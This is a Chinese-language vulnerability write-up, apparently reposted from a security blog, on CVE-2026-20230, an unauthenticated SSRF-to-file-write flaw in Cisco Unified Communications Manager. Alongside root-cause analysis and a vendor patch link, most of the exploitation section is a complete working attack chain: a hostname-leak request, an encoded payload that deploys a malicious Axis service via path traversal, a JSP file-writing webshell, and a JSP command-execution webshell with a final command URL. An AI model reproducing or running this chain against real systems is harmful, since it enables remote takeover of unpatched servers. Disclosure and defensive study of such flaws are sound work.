【CVE-2026-20230】思科统一通信管理器任意文件写入RCE

admin 2026-06-30 07:33:29 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-20230披露思科统一通信管理器存在未认证任意文件写入漏洞,攻击者通过组合SSRF漏洞和主机名绕过机制,可写入恶意文件实现远程代码执行。文档详细分析了漏洞链触发路径及配置文件缺陷,并提供了厂商补丁链接和修复建议。 综合评分: 82 文章分类: 漏洞分析,漏洞预警,解决方案,WEB安全,应急响应


cover_image

【CVE-2026-20230】思科统一通信管理器任意文件写入RCE

原创

骨哥说事 骨哥说事

骨哥说事

2026年6月25日 09:11 上海

在小说阅读器读本章

去阅读

| | | — | | 声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |

#

#

防走失:https://gugesay.com/

不想错过任何消息?设置星标↓ ↓ ↓

#

摘要

Cisco Unified Communications Manager (CUCM) 存在一个漏洞,允许未认证的攻击者在服务器上任意写入文件,进而通过写入的文件在服务器上执行任意命令或代码。

厂商回应

厂商已发布修复补丁,地址为:

 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-ssrf-cXPnHcW

受影响版本

  • Cisco Unified Communication Manager 15.0.1.13901-2 (UCSInstall_UCOS_15.0.1.13901-2.sha512.iso)

漏洞根因分析

CUCM 产品中存在几个漏洞,将它们组合利用后,远程攻击者就能在服务器上任意写入文件,进而使未认证的攻击者能够执行代码。

在 \jakarta-tomcat\webapps\cmplatform\WEB-INF\web.xml 配置文件中,存在一个无需认证即可访问的端点 /installClusterStatusExecute

&nbsp; &nbsp; &nbsp;<servlet>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<servlet-name>installCluster</servlet-name>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<servlet-class>com.cisco.ccm.cmplatform.servlets.ClusterInstallStatusServlet</servlet-class>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<load-on-startup>1</load-on-startup>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</servlet>&nbsp; &nbsp; &nbsp; &nbsp; ...&nbsp; &nbsp;&nbsp;<servlet-mapping>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<servlet-name>installCluster</servlet-name>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<url-pattern>/installClusterStatusExecute</url-pattern>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</servlet-mapping>

com.cisco.ccm.cmplatform.servlets.ClusterInstallStatusServlet#doGet 端点中,当 action 参数等于 clusterNodeInstallStatus 时,代码如下:

com.cisco.vos.platform.api.cluster.rest.client.NodeInstallStageClient#getInstallStage 端点代码如下:

而 com.cisco.vos.platform.api.cluster.rest.client.JerseyClient#doGet 端点代码如下:

因此,可以通过 HTTPS 请求触发服务端请求伪造 (SSRF)。但在 \WEB-INF\lib\ccmadmin_common.jar!\com\cisco\ccm\common\security\InjectionFilter.class 中存在主机校验逻辑,会阻止“简单”的利用。例如,无法在利用该 SSRF 时使用 127.0.0.1 或 localhost

不过,分析 com.cisco.ccm.common.security.InjectionFilter#hostHeaderValidation 可以看到:

幸运的是,存在一个无需认证的接口,允许我们通过以下 URL 获取目标的真实主机名 (hostname):

https://192.168.182.50/webdialer/Version.jws?wsdl

余下的攻击向量与历史上的 Axis 1.4 漏洞&nbsp;CVE-2019-0227&nbsp;类似。

利用方法

攻击流程要求攻击者首先获取一些敏感信息,即目标的主机名(真实值,不是 FQDN)。这通过访问以下 URL 完成:

https://192.168.182.50/webdialer/Version.jws?wsdl

一旦攻击者获得该信息,就可以向 /cmplatform/installClusterStatusExecute 发送请求,要求安装一个额外的节点。攻击者不是使用有效的主机名,而是将端点的完整路径与转义序列一起发送,从而创建一个文件的内容,而不是访问一个主机名:

GET&nbsp;/cmplatform/installClusterStatusExecute?action=clusterNodeInstallStatus&hostname=%76%6d%30%31%2f%77%65%62%64%69%61%6c%65%72%2f%73%65%72%76%69%63%65%73%2f%41%64%6d%69%6e%53%65%72%76%69%63%65%2f%70%6c%61%74%66%6f%72%6d%63%6f%6d%2f%61%70%69%2f%76%31%2f%73%6f%66%74%77%61%72%65%2f%69%6e%73%74%61%6c%6c%73%74%61%67%65%73%2f%3f%6d%65%74%68%6f%64%3d%21%2d%2d%25%33%45%25%33%43%64%65%70%6c%6f%79%6d%65%6e%74%25%32%30%78%6d%6c%6e%73%25%33%44%25%32%32%68%74%74%70%25%33%41%25%32%46%25%32%46%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%25%32%46%61%78%69%73%25%32%46%77%73%64%64%25%32%46%25%32%32%25%32%30%78%6d%6c%6e%73%25%33%41%6a%61%76%61%25%33%44%25%32%32%68%74%74%70%25%33%41%25%32%46%25%32%46%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%25%32%46%61%78%69%73%25%32%46%77%73%64%64%25%32%46%70%72%6f%76%69%64%65%72%73%25%32%46%6a%61%76%61%25%32%32%25%33%45%25%33%43%73%65%72%76%69%63%65%25%32%30%6e%61%6d%65%25%33%44%25%32%32%72%61%6e%64%6f%6d%52%31%31%25%32%32%25%32%30%70%72%6f%76%69%64%65%72%25%33%44%25%32%32%6a%61%76%61%25%33%41%52%50%43%25%32%32%25%33%45%25%33%43%72%65%71%75%65%73%74%46%6c%6f%77%25%33%45%25%33%43%68%61%6e%64%6c%65%72%25%32%30%74%79%70%65%25%33%44%25%32%32%6a%61%76%61%25%33%41%6f%72%67%2e%61%70%61%63%68%65%2e%61%78%69%73%2e%68%61%6e%64%6c%65%72%73%2e%4c%6f%67%48%61%6e%64%6c%65%72%25%32%32%25%32%30%25%33%45%25%33%43%70%61%72%61%6d%65%74%65%72%25%32%30%6e%61%6d%65%25%33%44%25%32%32%4c%6f%67%48%61%6e%64%6c%65%72%2e%66%69%6c%65%4e%61%6d%65%25%32%32%25%32%30%76%61%6c%75%65%25%33%44%25%32%32%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%63%6f%6d%6d%6f%6e%25%32%46%6c%6f%67%25%32%46%74%61%6f%73%2d%6c%6f%67%2d%61%25%32%46%74%6f%6d%63%61%74%25%32%46%77%65%62%61%70%70%73%25%32%46%70%6c%61%74%66%6f%72%6d%2d%73%65%72%76%69%63%65%73%25%32%46%61%78%69%73%32%2d%77%65%62%25%32%46%61%61%61%2e%6a%73%70%25%32%32%25%32%30%25%32%46%25%33%45%25%33%43%70%61%72%61%6d%65%74%65%72%25%32%30%6e%61%6d%65%25%33%44%25%32%32%4c%6f%67%48%61%6e%64%6c%65%72%2e%77%72%69%74%65%54%6f%43%6f%6e%73%6f%6c%65%25%32%32%25%32%30%76%61%6c%75%65%25%33%44%25%32%32%66%61%6c%73%65%25%32%32%25%32%30%25%32%46%25%33%45%25%33%43%25%32%46%68%61%6e%64%6c%65%72%25%33%45%25%33%43%25%32%46%72%65%71%75%65%73%74%46%6c%6f%77%25%33%45%25%33%43%70%61%72%61%6d%65%74%65%72%25%32%30%6e%61%6d%65%25%33%44%25%32%32%63%6c%61%73%73%4e%61%6d%65%25%32%32%25%32%30%76%61%6c%75%65%25%33%44%25%32%32%6a%61%76%61%2e%75%74%69%6c%2e%52%61%6e%64%6f%6d%25%32%32%25%32%30%25%32%46%25%33%45%25%33%43%70%61%72%61%6d%65%74%65%72%25%32%30%6e%61%6d%65%25%33%44%25%32%32%61%6c%6c%6f%77%65%64%4d%65%74%68%6f%64%73%25%32%32%25%32%30%76%61%6c%75%65%25%33%44%25%32%32%2a%25%32%32%25%32%30%25%32%46%25%33%45%25%33%43%25%32%46%73%65%72%76%69%63%65%25%33%45%25%33%43%25%32%46%64%65%70%6c%6f%79%6d%65%6e%74&filename=bbbbbb HTTP/1.1Host:&nbsp;192.168.182.50User-Agent: Mozilla/5.0&nbsp;(Windows NT&nbsp;10.0; Win64; x64; rv:145.0) Gecko/20100101&nbsp;Firefox/145.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brReferer: https://192.168.182.50/webdialer/servicesUpgrade-Insecure-Requests:&nbsp;1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Priority: u=0, iTe: trailersConnection: keep-alive

如果对 payload 进行解码,会看到以下内容:

vm01/webdialer/services/AdminService/platformcom/api/v1/software/installstages/?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22randomR11%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fcommon%2Flog%2Ftaos-log-a%2Ftomcat%2Fwebapps%2Fplatform-services%2Faxis2-web%2Faaa.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment

这正是被访问的端点(而非主机名),这是一个典型的 SSRF。随后利用转义序列&nbsp;!--&nbsp;来控制写入文件的内容,使其“跳出”&nbsp;installstages&nbsp;端点正常写入的内容:

><deployment&nbsp;xmlns="http://xml.apache.org/axis/wsdd/"&nbsp;xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"><service&nbsp;name="randomR11"&nbsp;provider="java:RPC"><requestFlow><handler&nbsp;type="java:org.apache.axis.handlers.LogHandler"&nbsp;><parameter&nbsp;name="LogHandler.fileName"&nbsp;value="../../../../../../../../../../../../common/log/taos-log-a/tomcat/webapps/platform-services/axis2-web/aaa.jsp"&nbsp;/><parameter&nbsp;name="LogHandler.writeToConsole"&nbsp;value="false"&nbsp;/></handler></requestFlow><parameter&nbsp;name="className"&nbsp;value="java.util.Random"&nbsp;/><parameter&nbsp;name="allowedMethods"&nbsp;value="*"&nbsp;/></service></deployment

可以看到,写入的文件创建了一个新的 API 端点。通过这个新引入的 randomR11 服务,攻击者可以任意写入文件。

通过访问 webdialer/services 端点可以验证此新安装的服务。

下一步是使用这个端点创建我们的网络 Shell (webshell):

GET&nbsp;/webdialer/services/randomR11?method=nextInt&arg0=%3C%21%5BCDATA%5B%0A%3C%25if%28request.getParameter%28%22f%22%29%21%3Dnull%29%28new+java.io.FileOutputStream%28application.getRealPath%28%22%2F%22%29%2Brequest.getParameter%28%22f%22%29%29%29.write%28request.getParameter%28%22t%22%29.getBytes%28%29%29%3B%25%3E+%0A%5D%5D%3E HTTP/1.1Host:&nbsp;192.168.182.50Cookie: JSESSIONID=User-Agent: Mozilla/5.0&nbsp;(Windows NT&nbsp;10.0; Win64; x64; rv:145.0) Gecko/20100101&nbsp;Firefox/145.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brReferer: https://192.168.182.50/webdialer/servicesUpgrade-Insecure-Requests:&nbsp;1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Priority: u=0, iTe: trailersConnection: keep-alive

这个非常简单的 webshell 仅包含以下代码:

<![CDATA[<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>&nbsp;]]>

它会将参数&nbsp;f&nbsp;和&nbsp;t&nbsp;提供的任何值写入指定目录。我们可以利用这个 webshell 配合以下请求,将文件创建在稍后可以访问的位置:

GET&nbsp;/platform-services/axis2-web/aaa.jsp?f=../../../../../../../common/log/taos-log-a/tomcat/webapps/platform-services/axis2-web/c.jsp&t=%3c%25%20if(%22123%22.equals(request.getParameter(%22pwd%22)))%7b%20java.io.InputStream%20in%20%3d%20Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream()%3b%20int%20a%20%3d%20-1%3b%20byte%5b%5d%20b%20%3d%20new%20byte%5b2048%5d%3b%20out.print(%22%3cpre%3e%22)%3b%20while((a%3din.read(b))!%3d-1)%7b%20out.println(new%20String(b))%3b%20%7d%20out.print(%22%3c%2fpre%3e%22)%3b%20%7d%20%25%3e HTTP/1.1Host:&nbsp;192.168.220.139Cookie: JSESSIONID=ABFF6F0302153EC441FDDE74F1EB25F1User-Agent: Mozilla/5.0&nbsp;(Windows NT&nbsp;10.0; Win64; x64; rv:145.0) Gecko/20100101&nbsp;Firefox/145.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brUpgrade-Insecure-Requests:&nbsp;1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Priority: u=0, iTe: trailersConnection: keep-alive

现在,我们就可以使用以下 URL 执行命令了:

https://192.168.220.139/platform-services/axis2-web/c.jsp?pwd=123&i=id

  • END –

感谢阅读,如果觉得还不错的话,动动手指给个三连吧~


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:骨哥说事 骨哥说事 骨哥说事《【CVE-2026-20230】思科统一通信管理器任意文件写入RCE》

评论:0   参与:  0